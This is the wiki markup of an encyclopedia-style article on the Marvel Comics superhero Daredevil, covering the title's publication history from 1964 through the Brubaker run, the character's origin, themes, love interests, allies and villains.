|status=Incarcerated
|alliances=
|previous_alliances=[[Defenders (comics)|Defenders]], [[S.H.I.E.L.D.]]
|aliases=The Man Without Fear, Scarlet Swashbuckler
|relatives=Jack Murdock (father, deceased), Sister Maggie (estranged mother), [[Milla Donovan]] (estranged wife)
|powers=Superhuman senses (exc. blindness), &quot;radar sense&quot;, can read standard text by touch, expert acrobat and martial artist.|}}
'''Daredevil''' ([[alter ego]] '''Matthew Murdock''') is a [[fictional character|fictional]] [[superhero]] in the [[Marvel Comics]] [[Marvel universe|universe]]. Created by writer [[Stan Lee]] and artist [[Bill Everett]]{{fn|1}} in ''Daredevil'' #1 (April 1964), he is notable as being among the few [[disability|disabled]] superheroes.&lt;!--Way back in the 1940s, the Golden Age Daredevil was originally mute, and Dr. Mid-Nite was blind. Marvel's DD is one of the few, but not one of the first. Marvel's own Prof. X even precedes him.--&gt;

Although ''Daredevil'' had been home to the work of many comic-book legends — [[Jack Kirby]], [[Wallace Wood]], [[John Romita Sr.]], and [[Gene Colan]], among others — it was not until [[Frank Miller]]'s entrance on the title in the late 1970s that ''Daredevil'' was regarded as either popular or influential.  The introduction of drastic change, following Miller's example, become the title's hallmark: &quot;This is the book where the audience is built into expecting something unique. Every run on ''Daredevil'' has been a unique statement from that person and a lot of chances were taken.&quot; ([[Brian Michael Bendis]]) [http://www.comicbookresources.com/news/newsitem.cgi?id=6488]

==Publication history==

===Volume 1: 1964 - 1998===

[[Image:Daredevil7.jpg|175px|thumb|right|''Daredevil'' #7 (April 1964): [[Wally Wood]] introduces the modern red costume.]]

====Early years====

Stan Lee's vision for the character found inspiration in such larger-than-life heroes as those of [[Alexandre Dumas]], as evidenced by one of Daredevil's earliest [[List of Marvel Comics endearments|nicknames]], the &quot;Scarlet Swashbuckler&quot;.  The characterization, however, over time lost its roots and Daredevil devolved into a second-rate [[Spider-Man]] given their shared proclivity for acrobatics and banter.

Everett, in an interview conducted by Marvel writer-editor and Everett's one-time roommate [[Roy Thomas]], in what the latter recalled as either &quot;late 1969 or in 1970&quot;, said of ''Daredevil'''s creation five years earlier:
&lt;blockquote&gt;
:&quot;I must have called Stan, had some contact with him, I don't know why. I know we tried to do it on the phone. I know he had this idea for ''Daredevil''; he ''thought'' he had an idea. ... With a long-distance phone call, it just wasn't coming out right, so I said, 'All right, I'll come down this weekend or something. I'll take a day off &amp;nbsp;[from his job as [[art director]] of Eton Paper Corporation in [[Massachusetts]]] and come down to New York'. ... I did the one issue, but I found that I couldn't do it and handle my job, because it was a managerial job; I didn't get paid overtime but I was on an annual salary, so my time was not my own. I was putting in 14 or 15 hours a day at the plant and then to come home and try to do comics at night was just too much. And I didn't make deadlines — I just couldn't make them — so I just did the one issue and didn't do any more&quot;.{{fn|2}}
&lt;/blockquote&gt;

Daredevil's original costume as created by Everett — with input from [[Jack Kirby]] — was a combination of black, yellow, and red, and went through minor revisions in issues #2 through #4 by [[EC Comics]] artist [[Joe Orlando]]. Fellow acclaimed EC verteran [[Wally Wood]] penciled #5-8, introducing the modern red costume in issue #7.  [[Golden Age of comic books|Golden Age]] great [[Bob Powell (comics)|Bob Powell]] ([[Sheena, Queen of the Jungle]]) penciled two issues over Wood layouts, with the exception of #11, which Wood inked over Powell's pencils.

The procession of comic-book art legends continued, as issue #12 began a brief run by Kirby (layouts) and [[John Romita Sr.]].  It was Romita's return to superhero penciling after a decade of working exclusively as a [[romantic fiction|romance]]-comic artist for DC. Romita had felt he no longer wanted to pencil, in favor of being solely an inker{{fn|3}}, but his brief stint on ''Daredevil'' proved to be a stepping-stone for his famed, years-long pencilling run on ''[[The Amazing Spider-Man]]''. As Romita recalled, &quot;What Stan Lee wanted was for me to do a two-part Daredevil story [#16-17, May-June 1966] with Spider-Man as a guest star, to see how I handled the character&quot;. [http://www.keefestudios.com/studio/romita/interview.htm]
 
[[Image:Daredevil47.jpg|left|175px|thumb|''Daredevil'' #47 (Dec. 1968): Art by Gene Colan (pencils) and [[George Klein (comics)|George Klein]] (inks).]]

When Romita left to take over ''Amazing Spider-Man'', Lee gave ''Daredevil'' to the character's first signature artist, [[Gene Colan]], who, with issue #20 (Sept. 1966), began the pencilling stint for which he is best known. Colan pencilled all but three issues through #100 (June 1973), plus the 1967 annual, followed by ten issues sprinkled from 1974-79. (He would return again, an established legend, for an eight-issue run in 1997.) Among the notable plot developments during this period was Matt Murdock's panicky creation of a &quot;twin brother&quot;, the &quot;sighted&quot; and devil-may-care Mike Murdock, in #25 (Feb. 1967), whom Karen Page and Foggy Nelson were led to believe was Daredevil; &quot;Mike's&quot; death in #41 (June 1968); and Matt revealing his Daredevil identity to Karen Page in #57 (Oct. 1969).

Much like in ''[[The Amazing Spider-Man]]'' — and in what was already an established hallmark of Marvel Comics storytelling — interpersonal drama was as central to the series as action and adventure.  A triangle of unrequited love developed between Foggy Nelson, Karen Page and Murdock, with Nelson unable to win over Page, and Matt unable to admit that Karen loved anyone other than Daredevil.  When eventually Karen learned of Murdock's dual identity, the revelation proved too much for her and she left the firm and the comic, not to be seen again until the 1980s when she reappeared as a woman struggling through a [[heroin]] [[addiction]].  Page throughout the 1960s [[Silver Age of comic books]] was an underwritten character that was little defined beyond her love for Matt.

====Black Widow and the Bay Area====

Though it is hard to imagine a character who has become so tied to a particular geographical location moving anywhere else, Daredevil moved to [[San Francisco]] in the early 1970s. The series now featured a double billing with Daredevil's girlfriend, the [[Black Widow (comics)|Black Widow]], co-starring.  The move did not last long: the Widow ended their relationship fearing that playing sidekick to Daredevil was causing her to lose her identity as a superheroine, and Murdock returned to Hell's Kitchen.  The two remain intimate friends and occasional lovers.

====Frank Miller, the Kingpin and Ninjas====

[[Image:Dd181.png|thumbnail|right|175px|Elektra dies — temporarily — in ''Daredevil'' #181 (April 1982). Cover art by [[Frank Miller]] &amp; [[Klaus Janson]].]]

The modern definition of ''Daredevil'' began in 1979 with [[Frank Miller]]'s entrance on the title.  Miller's first contributions were as artist, where he imbued a new dynamism and a drastically different visual style.  The series' tone became that of [[film noir|noir]] with [[Hell's Kitchen]] itself becoming a character.

With issue #168, Miller additionally became the series' writer, and the comic underwent a drastic metamorphosis. The most significant change was the introduction of [[Spider-Man]] villain [[Kingpin (comics)|Kingpin]] as Daredevil's new archnemesis. Until that point, Daredevil's enemies were primarily, though not exclusively, costumed villains. The Kingpin was a departure in that although he possessed extraordinary size, strength and fighting ability, his villainy came from his ruthless brilliance in running a criminal empire and not super-powers.  The title still retained costumed antagonists — namely [[Bullseye (comics)|Bullseye]] and [[Elektra Natchios|Elektra]] — but found its central theme to be one more grounded in reality — [[organized crime]].

Miller also introduced [[ninjas]] into the Daredevil canon, bringing a greater focus on the [[martial arts]] aspect of Daredevil's fighting skills, and introducing the characters [[Stick (comics)|Stick]] and the [[Hand (comics)|Hand]].  This was a drastic change to a character once considered a swashbuckler.  The focus of a ninja's control of the inner self served as a counterbalance to the emerging themes of anger and torment.

Following kidney failure and the loss of vision in one eye, [[Wally Wood]] returned to the character he helped define, inking Miller's cover of ''Daredevil'' #164 (May 1980).
It was one of artist's final assignments before his death in 1981.

====Born Again====

Miller's noir take on the character continued after he left. However, successor [[Denny O'Neil]], who had made similar changes to [[Batman]] in the 1970s, did not find the commercial success of his predecessor.  In 1986 Miller returned to write the classic &quot;[[Daredevil: Born Again|Born Again]]&quot; storyline (#227-233, Feb.-Aug. 1986), with artist [[David Mazzuchelli]].

In ''Born Again'', Karen Page returned as a heroin-addicted star of [[adult films]]. Desperate for a fix, she sold Daredevil's secret identity for a hit. The information made it to the Kingpin, who used it to try to destroy Murdock piece by piece by blowing up his house, ruining his reputation as a lawyer, and menacing his personal life. With his life in shambles, Murdock nearly went insane.  However, Miller ended the story on a positive note, with Murdock reuniting with the mother he had thought dead and picking up the pieces of a damaged but not unsalvageable life.

====Nocenti and Romita Jr.====

A round-robin of creators contributed in the year that followed ''Born Again'': writers [[Mark Gruenwald]], [[Danny Fingeroth]], [[Steve Englehart]] (under the [[pseudonym]] &quot;John Harkness&quot;), and [[Ann Nocenti]], and pencilers [[Steve Ditko]], [[Barry Windsor-Smith]], Louis Williams, [[Sal Buscema]], [[Todd McFarlane]], [[Keith Pollard]], and Chuck Patton. [[Longshot]] co-creator Nocenti, who'd written #236, became the regular writer for a four-and-a-quarter year run of all but two issues from #238-291 (Jan. 1987 - April 1991). [[John Romita Jr.]] joined as penciler from #270-289 (Sept. 1989 - Feb. 1991), and was generally inked by [[Al Williamson]]. The team specifically addressed societal issues, with Murdock, now running a non-profit urban legal center, confronting [[sexism]], [[racism]] and [[nuclear proliferation]] while fighting supervillains. Nocenti's run is also of note for introducing the popular antagonist [[Typhoid Mary (comics)|Typhoid Mary]], a supporting character from #254-263.

====''The Man Without Fear''====

Miller returned once more to the title with a retelling of Daredevil's origin in the five-issue [[limited series]] ''Daredevil: The Man Without Fear'' (Oct. 1993 - Feb. 1994), titled after the Silver Age tagline of the series.  Originally written as a screenplay for an optioned but unproduced ''Daredevil'' movie,{{fact}}, ''The Man without Fear'' focused on Murdock's relationship with his father Jack, his mentor Stick, and his collegiate love Elektra.  The art was provided by penciller Romita Jr. and inker Williamson.

====The Nineties====

''Daredevil'' left the spotlight in the mid-1990s, and the writing-art team of [[Dan Chichester]] (a.k.a. [[D.G. Chichester]]) and [[Scott McDaniel]] was instructed to revamp the hero for the &quot;grim and gritty&quot; era. In the story arc &quot;Fall from Grace&quot;, Daredevil's secret identity became public knowledge. Forced to fake his own death and change his uniform to an armored &quot;razor costume&quot;, Murdock underwent one of his numerous breakdowns. The change did not take, and Daredevil soon returned to his traditional red costume, while Murdock found a way to convince the world that he was not, in fact, secretly Daredevil (courtesy of a [[deus ex machina]] [[doppelganger]]).

Under writer [[Joe Kelly]] the book got a lighter tone, with Daredevil returning to the wisecracking, more lighthearted hero he had once been.  Matt and [[Foggy Nelson|Foggy]] (who now knew of Matt's identity as Daredevil) joined a law firm run by Rosalind Sharpe (who would be revealed to be Foggy's biological mother).  Additionally, [[Karen Page]] returned to the title as a late-night [[talk radio]] host.

===Volume 2: 1998 - Present===

====Marvel Knights and a Guardian Devil====

In 1998, ''Daredevil'''s numbering was rebooted, with the title &quot;cancelled&quot; and revived a month later as part of the ''Marvel Knights'' imprint. Editors [[Joe Quesada]] and [[Jimmy Palmiotti]] were tapped to run the imprint, for which they considered ''Daredevil'' the flagship title. Quesada drew the new series, written by filmmaker [[Kevin Smith]].

[[Image:DD01_COV.jpg|thumbnail|left|175px|Promotional art (cover minus trade dress), ''Daredevil'' Vol. 2, #1 (Nov. 1998). Art by [[Joe Quesada]] &amp; [[Jimmy Palmiotti]].]]

Its first eight-issue story arc, &quot;Guardian Devil&quot;, depicted Daredevil struggling to protect a child whom he is told could either be the [[Messiah]] or the [[Anti-Christ]]. Murdock experienced a crisis of faith exacerbated by the discovery that Karen Page has [[AIDS]] (later revealed to be a hoax), and her subsequent death. &quot;Guardian Devil&quot; reintroduced religion as a driving force behind Murdock, an option instituted by Miller but rarely used thereafter. It also killed a supporting character extant since the title's 1964 premiere, sparking debate in the fan press about the effectiveness of killing a title's mainstay as a means of achieving literary gravitas.{{fact}} Finally, Smith's example paved the way for other [[screenwriter]]s and [[novelist]]s, including [[J. Michael Straczynski]], [[Joss Whedon]], [[Greg Rucka]], [[Orson Scott Card]], and [[Stephen King]], to write comic books.

====Interregnum====

After &quot;[[Guardian Devil]],&quot; Smith was succeeded by cult-favorite writer-artist [[David Mack]], who contributed the seven-issue &quot;Parts of a Hole&quot;&lt;!--seven issues spanned from (1999-2001)?--&gt;&lt;!--changled &quot;Whole&quot; to &quot;Hole&quot;, per http://www.silverbulletcomics.com/shop/product.php?a=51264 and http://www.amazon.com/gp/product/0785108084/002-0748834-8152005?v=glance&amp;n=283155--&gt;. This arc introduced Maya Lopez a.k.a. [[Echo (comics)|Echo]], a [[deaf]] martial artist who encountered Daredevil in a manner reminiscent of Frank Miller's original Elektra storyline. For the next arc, &quot;Wake Up&quot; (2001), Mack did the art while [[Brian Michael Bendis]] wrote the story, which followed reporter [[Ben Urich]] as he investigates the aftereffects of a fight between Daredevil and a minor villain. Mack continued to illustrate the covers for the following storyline, &quot;Playing to the Camera&quot; (2001) by ''[[Back to the Future]]'' screenwriter [[Bob Gale]] and artists [[Phil Winslade]], and [[David Ross (artist)|David Ross]]. For unknown reasons, the numbering of the ''Daredevil'' [[trade paperback (comics)|trade-paperback]] reprints ignores this arc. &lt;!--Note: This may well be for rights reasons negotiated by Gale, and have nothing to do with quality; Marvel reprints a lot of material, some high-quality, some not--&gt;

====Bendis and Maleev====

Issue #26 (December 2001) brought back [[Brian Michael Bendis]], working this time with artist [[Alex Maleev]], for a four-year-run that became become one of the series' most acclaimed. Maleev's harsh and grainy look is in contrast to Quesada's more cartoony lines, and established a distinctive style that reads like a marriage of Frank Miller's [[film noir|noir]] style and that of [[Pulp magazine | pulp-magazine]] art of the 1920s and '30s.

In the first Bendis/Maleev story, &quot;Underboss&quot; (2001-2002), ambitious mobster [[Sammy Silke]] discovers that the Kingpin knows Daredevil is Matt Murdock yet has kept this secret. This anomaly enables Silke to enlist the Kingpin's captains and disgruntled son to stage a coup reminiscent of [[Julius Caesar (play) | ''Julius Caesar'']].  With the Kingpin thought dead, the group lays claim to the criminal empire of New York City. But then one by one, the co-conspirators are murdered on orders of Vanessa Fisk, the Kingpin’s wife. A terrified Silke strikes a plea with the FBI: His safety in exchange for Daredevil's identity. Within hours, Murdock's name is leaked to the press.

&quot;Out&quot; (2003) has Murdock dealing with his identity of Daredevil becoming public knowledge.

[[Image:Daredevil41.jpg|thumbnail|right|175px|Promotional art for ''Daredevil'' Vol. 2, #41 (March 2003), by [[Alex Maleev]].]]

&quot;Lowlife&quot; (2003) introduced the blind [[Milla Donovan]], with whom Murdock would have a relationship and eventually, off-screen, marry. As well, Murdock was, in quick succession, taken into custody as a murder suspect, subjected to a new investigation by the FBI,and compelled to contend with a new street drug created by the [[Owl (comics) | Owl]]. 

In &quot;Hardcore&quot; (2003), Murdock had to deal with a mostly healed and still [[Machiavellian]] Kingpin returning to New York. The Kingpin sent both Typhoid Mary and Bullseye after Matt to delay him. Typhoid Mary lit Matt on fire but was taken down by Luke Cage and Jessica Jones. Bullseye almost killed Milla Donovan, but was stopped by Daredevil. Furious, Daredevil hunted the Kingpin down and beat him into submission. Standing over the Kingpin's prostrate form in a bar full of witnesses and with his mask off, Daredevil declared himself the new Kingpin.

Following this arc's climax with issue #50, writer-artist David Mack took over ''Daredevil'' for five issues, bringing back his character Maya Lopez, who struggled to come to terms with her post-Murdock life in the arc &quot;Echo: Vision Quest&quot; (2003-2004).

The next arc, &quot;The King of Hell's Kitchen&quot; (2004) explored the aftermath of Daredevil's assumption of the role of Kingpin. Daredevil became increasingly violent, cleaning the streets with brutal efficiency. [[Peter Parker]] (Spider-Man) and other superhero friends attempted an intervention, to no avail.  It was not until Murdock was nearly killed by the [[Yakuza]] that [[Ben Urich]] could confront his one-time friend, explaining that Daredevil's new taste for violence, his shunning of friends, and his sudden marriage were the product of a [[nervous breakdown]] brought on by unresolved feelings over the death of Karen Page. Donovan, in response, annulled the marriage.

The next three arcs were &quot;The Widow&quot;, &quot;Golden Age&quot; and &quot;Decalogue&quot; which were mostly stand-alone stories. &quot;The Widow&quot; dealt with Matt's relationship with the Black Widow and an encounter with the Punisher villain Jigsaw. &quot;Golden Age&quot; was an epic story that compassed several time periods and featured [[Alexander Bont]], the Kingpin before Wilson Fisk. &quot;Decalogue&quot; was a story that took place between &quot;Hardcore&quot; and &quot;The King of Hell's Kitchen.&quot; It was an anthology of sorts that dealt with a church group that shared stories about Daredevil.

Bendis and Maleev wrapped up their last story arc, &quot;The Murdock Papers&quot;, in January 2006, with the Kingpin manipulating the FBI, Daredevil, the Black Widow, and Elektra over non-existent documents prooving the Murdock/Daredevil relationship. Many characters that have appeared over Bendis's run make appearences such as Bullseye and Milla. The Owl has a small role as well. Despite help and entreaties by [[Luke Cage]] and [[Iron Fist]], an unmasked Daredevil surrendered himself to the FBI. The Kingpin himself is betrayed by the FBI and is arrested himself. The arc ends with both Murdock and Fisk in jail, with the FBI hoping that the two will kill each other.

====Brubaker and Lark====

The creative team of writer [[Ed Brubaker]] and artist [[Michael Lark]], began in February 2006.  Brubaker's previous experience includes both police drama (''[[Detective Comics]]'') and noir-espionage (''[[Sleeper (comic book)|Sleeper]]'').  Brubaker and Lark have notably worked together on DC's ''[[Gotham Central]]''. It is the first Volume 2 Daredevil run to not be part of the [[Marvel Knights]] imprint.

The first arc is titled &quot;The Devil in Cell-Block D&quot; and deals with Matt Murdock in jail with some of his most heinous villains such as the Kingpin, Hammerhead and the Owl. Matt has to deal with cruel guards and prisoners who are out to kill him.

The first issue ended with Foggy Nelson apparently being killed under orders from the Kingpin.

==Character history==

===Origin===

[[Irish-American]] Matthew Murdock was raised by [[single father]] and fading [[Boxing|boxer]] &quot;Battling Jack&quot; Murdock in the [[Hell's Kitchen]] neighborhod of [[New York City]]. The elder Murdock instilled in Matt the virtues of education and non-violence in order to rise above the hard life they led. Matt, taunted by bullies who called the bookish youth &quot;Daredevil&quot;, vented his frustration and anger by working out in secret.

[[Image:Daredevilv1issue1splashpage.png|thumb|175px|left|Daredevil's first costume, from ''Daredevil'' Vol. 1, #1 (April 1964). Splash-page art by [[Jack Kirby]] (penciler) and [[Bill Everett]] (inker).{{fn|1}}]]

While saving an old man from an oncoming truck, Matt was blinded by [[radioactive]] material.  Though no longer able to see, Murdock found the radioactive exposure had heightened his remaining senses beyond normal human thresholds, and had additionally given him a sixth &quot;radar sense&quot;, as he termed it, that enabled him to detect the shape and location of objects around him.  A mysterious man named [[Stick (comics)|Stick]] became the young Murdock's mentor, teaching him how to control his new abilities and honing the youth's natural aptitude in [[acrobatics]] and [[martial arts]]. Throughout his accident and recovery, Matt honored his father's wishes by continuing his law studies. 

Jack struggled, however, and began working as an enforcer for small-time criminal the [[Fixer (comics)|Fixer]], who also served as fading boxers' manager-of-last-resort. After Jack refused to throw a title bout Matt was attending, the Fixer had Jack killed.  Matt was devastated both by the loss of his father and the judicial system's failure to convict the men responsible. Mindful of his childhood promise not to lead a violent life, he created a new vigilante identity. Creating a yellow-black-and-red costume from his father's boxing robes, taking his derisive childhood nickname for the irony, and using his superhuman abilities, Matt confronted the killers. The Fixer died of a heart attack while running from the newly minted Daredevil.

With friend and law-school roommate [[Franklin Nelson|Franklin &quot;Foggy&quot; Nelson]], Murdock opened a practice and hired [[secretary]]-[[receptionist]] [[Karen Page]]. Realizing the judicial system was imperfect, he felt he could better serve society and work through his own personal torment with a dual career as attorney and costumed crime-fighter. {{-}}

===Analysis===

Matt Murdock is one of the most complicated characters in comic books, mostly due to the additions made by Frank Miller:

====Identity crisis====

Though never as splintered as a character like [[Moon Knight]], Daredevil has often found himself adorning different identities.  In issue #7 a move was made by [[Wallace Wood]] away from the yellow costume and into Daredevil's now classic red one.  Stan Lee's early stories had Matt donning oversized sunglasses and a tweed jacket to portray his fictional brother Mike Murdock (the &quot;true&quot; identity of Daredevil, according to Matt).  Miller's ''Born Again'' storyline had a devastated Murdock unsure of who he actually was.  The nineties saw the introduction of the infamous razor costume as well as the symbolic burial of Murdock's past life.  Issue #350 brought a similar breakdown and a brief reintroduction of the yellow costume. &lt;!--Though this theme is likely an accumulation of mischaracterizations, it has been refined to be a central issue to the character's life.  Above and beyond — or perhaps because of — his struggle to balance the order and chaos in his life, Murdock has often found himself questioning who he really is.--&gt;

====Issues with women====

&lt;!--It could be argued that Murdock seeks punishment and rejection in his relationships with women as a result of unresolved anger stemming from his early and defining interactions with members of the opposite sex.  

Matt had no maternal influence in his early years given that he was raised without a mother and that his father was never shown to have any significant relationship that would provide a female presence after Matt was born.  Moreover, whereas a single father might therefore be forced to play the father and the mother to a child, boxer/alcoholic/enforcer dad was shown to be very much a testosterone-driven force.

Murdock's social interactions were not normal either.  His father's emphasis from an early age that his son put his full energy into his studies led Matt to socially withdrawal from other children.  His withdraw was only reinforced when it caused schoolmates to bully and taunt him.  That Matt pulled away from his schoolmates as a whole means he was also precluding himself from normal social interaction with girls his own age.--&gt;

Matt's first shown relationship was with Elektra after he had moved on to university (and out of his father's apartment).  Though Elektra would later become a ninja-trained assassin, it should be noted that at this point she was nothing more than the exotic and aloof daughter of a Greek diplomat (albeit one who heard voices which urged her to beat up street punks).  Their relationship was well within the boundaries of &quot;normal&quot; but it would not remain that way, as Elektra left everything and everyone behind following the murder of her father.

Matt was heartbroken, but it wasn't until the introduction of Karen Page that the first signs of a problem began to appear.  Although Karen was clearly in love with Matt, and despite the fact that he clearly felt the same, he would not allow himself to reciprocate, instead inventing the notion that Karen harbored feelings for no one but Daredevil &lt;!--(a sign perhaps of one of Daredevil's other problems - his inability to keep his psyche from splintering under undue stress)--&gt;.  When eventually, after a few years of an emotional stalemate, the barrier of the Daredevil identity was brought down by Karen's discovery of Matt's secret, Murdock's problems were only compounded: Karen felt betrayed and quit her job, proving to be the third woman in Matt's young life to leave.

&lt;!--Though he had not had much success with women to date, Murdock tried one more time, establishing a relationship with the Black Widow.  Additionally, perhaps as an attempt to psychologically distance himself from the origin of his grief, Murdock moved with her to San Francisco with the Black Widow.  Their relationship soon also fell apart, with Natasha signalling to Matt that she couldn't bear the burden of their struggling romance any longer.--&gt;

A few years later &lt;!--the pattern reversed and women began reentering Matt's life, to disastrous results.  First--&gt; Elektra returned as an assassin, nearly unrecognizable of the woman she had been. &lt;!--Murdock could only have seen her re-entrance into his life as some sort of minor miracle, which would have been all the more damaging to him given how cold and unresponsive she was to her former lover.  And to compound his troubles,--&gt; Elektra slowly bled to death in his arms.

Then Karen Page returned.  The woman who had been the most &quot;normal&quot; of Murdock's early loves had become a porn star and junkie, and had in a moment of weakness sold away Murdock's most valued possesion: his identity.  Matt forgave her and rebuilt a life and a trust with her, only to have her die in his arms as well.

But right before Karen's death came &lt;!--the last dagger to Murdock:--&gt; the discovery that his mother was still alive.  &lt;!--While his discovery of his maternal link to Sister Maggie could be seen as a blessing, it's effects were probably more damaging.  If his mother was dead, her absence from Matthew's early years could obviously be forgiven.  However, that Maggie was alive meant that she had made a choice ''not'' to be a part of Matthew's life.  Therefore the three most significant women of Murdock's early years had ''all'' chosen to leave Murdock.--&gt;

====Catholicism====

Reflecting upon the character of Daredevil in the special features of the ''Daredevil 2-disc DVD'', [[Frank Miller]] has said that a person so conflicted as to be both a [[lawyer]] and a [[vigilante]] must be a [[Catholic]].  Identifying a religious affiliation was uncommon in comics as it was often seen to alienate those who were not part of that religion, though also, perhaps, because many early comic creators were [[Jewish]].  Miller's addition of the character's Catholicism offered many opportunities to comment on the overwhelming &quot;Catholic guilt&quot; that would cause him to think of himself as a devil. [[Kevin Smith]], a Catholic himself, also utilized this aspect of the character prominently in his run on the series.

====Tragedy====

Matt Murdock's life is practically defined by tragedy and pain.  Matt's blindness and the murder of his father led to his becoming a superhero.  Most of Matt's girlfriends are dead, usually from Matt's double life.  While many super heroes like [[Batman]] and [[Spider-Man]] deal with their fair share of loss, no other mainstream hero has had more than Daredevil.  Frank Miller has said on the ''Daredevil 2-disc DVD'' that, with as much tragedy in Matt's life, he should be the ultimate villain.  Yet, Murdock's sense of right and wrong has made him probably the most determined hero in the Marvel Universe.  Often, these tragedies lead Murdock to brood by himself and isolate himself from others, save a small circle of friends.  Eventually, the weight of this cracked Matt's psyche during Bendis's run.  He developed a [[nervous breakdown]], beat both Bullseye and the Kingpin nearly to death, took on the mantle of the Kingpin, and hastily married a woman he barely knew.  While Matt has seemed to recover from the breakdown, tragedy still pushes Matt's life as Daredevil.

&lt;!--====Order and chaos====

A common theme in Daredevil is his conflicting attractions to order and chaos, peace and violence, defender and attacker.  This may be caused by his father, a violent man who wanted his son to be a pacifist.  Matt's father wanted him to be a lawyer, a paragon of virtue who would never need violence, but Matt was always drawn toward adventure and could never ignore the violent realities of life.  Eventually, this split him into two personas each with their own friends and lifestyles, one a vigilante with the face of a demon, the other a respectable Catholic lawyer.  As the series goes on, these roles become too difficult to maintain separately until they come crashing together repeatedly, forcing Matt to reconcile his divided nature.--&gt;

==Characters==

===Love interests===

[[Image:Ddelektra.png|175px|thumb|right|Daredevil and Elektra; art by Frank Miller.]]
For a more complete list, see [[:Category:Daredevil love interests | Daredevil love interests]].

Within [[Marvel Comics]], few characters feature a love life as convoluted and tortured as Daredevil's. His girlfriends fall roughly into two groups: ordinary women who suffer great pain at his side; and superpowered, highly-dangerous love interests. Either way, most end up killed, maimed or traumatized. Arguably, Daredevil is a character plagued with [[Women in Refrigerator| Girlfriend-In-Refrigerator]] syndrome.

* [[Karen Page]] — prodigal love of Murdock's life.  Overwhelmed by the discovery of Daredevil's secret identity, she quit her job as his law firm's secretary-receptionist and devolved into a strung-out [[adult film]] [[actress]].  When her drug habit nearly destroyed Murdock's life in &quot;Born Again&quot;, she cleaned up and started their relationship anew.  Shortly thereafter, she was killed by [[Bullseye (comics) | Bullseye]] when she jumped in front of an attack meant for Daredevil and died in his arms.

* [[Elektra (comics) | Elektra]] — daughter of a Greek diplomat and college love of Murdock who became an assassin for the [[Kingpin (comics) | Kingpin]].  She was impaled on her own [[sais]] by Bullseye when conflicting emotions prevented her from carrying out the hit of [[Foggy Nelson]], and bled to death in Murdock's arms on the steps of his [[brownstone]].  She was later brought back from death [[supernaturally]] by the Hand.

* Heather Glenn — became an alcoholic and committed suicide.

* Glorianna O'Breen — killed by Victor Krueller, a henchman of the Kingpin.

* [[Milla Donovan]] — Murdock's on-again / off-again wife in mid-2000s issues. She left him when she discovered their marriage might be a symptom of his [[nervous breakdown]], and in late 2005 attempted to reconcile.

* [[Typhoid Mary (comics) | Typhoid Mary]] — Kingpin assassin with a [[dissociative identity disorder]], who Daredevil inadvertantly created in one of his first adventures, before he was even in costume.  Was traumatized when Daredevil had sex with her and then, while she was sleeping, forged [[insane asylum]] entrance papers and notified the authorities of where she lived.  Therapy having subdued her murderous personality, she was working as an actress on a daytime soap opera until the Kingpin violently reminded her of who she was.  

* [[Echo (comics) | Echo]] — daughter of a trusted associate of the Kingpin. She was tricked into trying to kill Daredevil when told he had murdered her father. Though she later learned she was betrayed by the Kingpin, the ordeal kept her from maintaining a relationship with Daredevil. The character, created by [[David W. Mack|David Mack]] is now a member of the [[Avengers]] under the alias of Ronin.

* [[Black Widow (comics) | Black Widow]] — non-superpowered, costumed agent of [[S.H.I.E.L.D.]] Daredevil and the Black Widow had a relatively normal relationship, one that saw Murdock briefly relocate from Hell's Kitchen to move in with her in San Francisco. Though no longer a couple, they have remained friends and occasional lovers.

===Recurring characters===

For a more complete list, see [[:Category:Daredevil supporting characters | Daredevil supporting characters]].
* [[Foggy Nelson]] — best friend, college roommate, [[sidekick]], protector and law partner.

* [[Ben Urich]] — recently estranged close friend of Murdock who as a reporter for the [[Daily Bugle]] discovered his identity as Daredevil.  Urich never published the article knowing how much damage such a revelation would cause, despite the fame and recognition it would have brought him.

* [[Spider-Man]] — Daredevil's closest professional friend and confidante.

* [[Jessica Jones]] — former superhero turned private investigator and significant other of [[Luke Cage]].  Has acted as bodyguard for Matt Murdock in his civilian life.

* [[Luke Cage]] — hero for hire with unbreakable skin, has become one of Daredevil's closest friends in recent years.  Matt's public denial of his life as Daredevil has strained their relationship.

* [[Gladiator (Daredevil character) | Gladiator]] — former villain turned close friend and bodyguard.  Was recently coerced into betraying Daredevil, the ramifications of which have not yet been seen.

* [[Stick (comics) | Stick]] — an old and blind martial arts master who served as Murdock's mentor following his childhood accident.

* [[Punisher | The Punisher]] — [[Machiavellian]] [[vigilante]] whose methods often bring him at odds with Daredevil, especially in regards to their views towards the justice system.

===Enemies===

[[Image:Dd170.jpg|thumb|175px|right|''Daredevil'' #170 (May 1981). Cover art by Frank Miller and Klaus Janson.]]
For a more complete list, see [[:Category:Daredevil villains | Daredevil villains]].

* [[Bullseye (comics) | Bullseye]] — Daredevil's deadliest nemesis, a frequent assassin for the [[Kingpin (comics) | Kingpin]]. He killed the first two loves of Murdock's life: [[Elektra (comics) | Elektra]] and [[Karen Page]].

* [[Kingpin (comics) | Kingpin]]— criminal mastermind and Daredevil's archnemesis. He has long known Daredevil's secret identity, and used this information to try to destroy Murdock's life.

* [[Electro (comics) | Electro]] — rarely a Daredevil foe. He was the first supervillain Daredevil faced (''Daredevil'' Vol. 1, #2)

* [[Mysterio]] — primarily a Spider-Man foe. He orchestrated the events behind ''Guardian Devil'', and committed suicide before Daredevil could exact revenge.

* [[Owl (comics) | The Owl]] — the first supervillain created in ''Daredevil'', introduced in Vol. 1, #3. In mid-2000s issues, he made a play for the Kingpin's territory by manufacturing the drug [[Mutant Growth Hormone]].  

* [[Purple Man]] — has the ability to make people do what he wants due to his radiated skin.  Daredevil's willpower and blindness has always kept him outside of the Purple Man's influence.

* [[Stilt-Man]] — Armored villain who towers on gigantic, hydraulically operated &quot;stilts&quot; (actually telescoping leg armor). The original Stilt Man retired, with his successor having debuted in [[Marvel Team-Up]] '''#TK.'''

===Other Daredevils===

* The [[Golden Age of Comic Books|Golden Age]] [[Daredevil (Golden Age)|Daredevil]], a character published by [[Lev Gleason Publications]], who wore a red-and-blue costume and fought crime with [[boomerangs]].  The [[alternate universe]] version of Matt Murdock in the ''[[Mutant X (comics)|Mutant X]]'' series wore a similar costume as an homage.

* The [[Marvel 2099]] version of Daredevil made an appearance in ''2099 Apocalypse''.

* Matthew Murdoch, a blind balladeer, was a character in writer [[Neil Gaiman]]'s series [[1602 (comic)|1602]].

* [[Marvel Knights]] Daredevil 2099 is a descendent of [[Kingpin (comics)|Wilson Fisk]].

* The [[Marvel Mangaverse]] features a version of Daredevil called the Devil Hunter.  His costume is patterned after an [[Oni (Japanese folklore)|oni]], or Japanese demon.

